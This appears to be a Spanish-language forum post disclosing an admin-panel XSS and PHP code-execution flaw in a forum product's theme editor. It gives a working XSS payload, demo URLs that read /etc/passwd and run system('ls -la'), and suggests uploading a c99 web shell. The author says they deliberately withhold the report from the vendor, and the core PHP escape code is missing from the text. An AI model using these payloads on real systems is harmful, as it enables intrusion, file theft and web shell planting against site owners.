Antes de comenzar a explicar debo decir que esto se encuentra solamente en el sistema de administración xD asi que solamente los que tengan acceso podrán ejecutar ambas cosas.
El xss se encuentra al editar el logo:
http://ejemplo/admin/index.php?adsess=[sesion]&app=core&&module=templates§ion=easylogo&do=finish
En este lugar encontraremos un input para poner el logo del theme, pero no podemos inyectar código html porque nos filtra las comillas simples y dobles, asi que como lo podemos evadir?
VBulletín utiliza variables de esta forma: {style_image_url}/logo.png asi que dentro de {} no nos filtran nada asi que desde ahi podemos inyectar de la siguiente manera:
Citar
logo.png<{'onerror=alert(0) x='}
Con eso ya puedes ejecutar código arbitrario desde el theme.
El código de ejecución en php se encuentra en la edición del theme.
Por eejmplo si al theme le ponemos <?php echo 'x'; ?> no lo ejecutará sino que lo mostrará solamente ya que lanza un echo completo, pero si ejecuta las variables en php, por ejemplo {$x} ya que el theme completo se procesa en eval y echo.
Si no podemos usar tags de php como escapamos y ejecutamos código?....
así:
Código
Tube que encerrar la variabe en dos llaves diferentes porque vbulletin me filtraba las llaves sin un $.
También reemplaza los puntos a htmlentities y utiliza addslashses xD asi que le aplicamos las funciones inversas.
Demo online:
http://a133.ipsdemo.ipslink.com/index.php?x=echo file_get_contents('../../../../../../../etc/passwd');exit;
y
view-source:http://a133.ipsdemo.ipslink.com/index.php?x=system%28%27ls%20-la%27%29;exit;
Ojo que el demo que me dieron dura 24 horas asi que si no ven el enlace se hacen uno nuevo y lo prueban.
PD: a servidores como el del demo que tiene allow url open activo pueden subirse una c99 y hacer full backup
PD2: a vbulletín no les aviso de la vulnerabilidad porque ellos ganan dinero vendiendo el sistema y tienen el suficiente dinero como para contratar a auditores, yo no les hago el trabajo porque ellos nunca me han dado nada, no así los de libre pago como smf, ellos si aportan muchisimo a la gente asi que a ellos si les reportamos primero .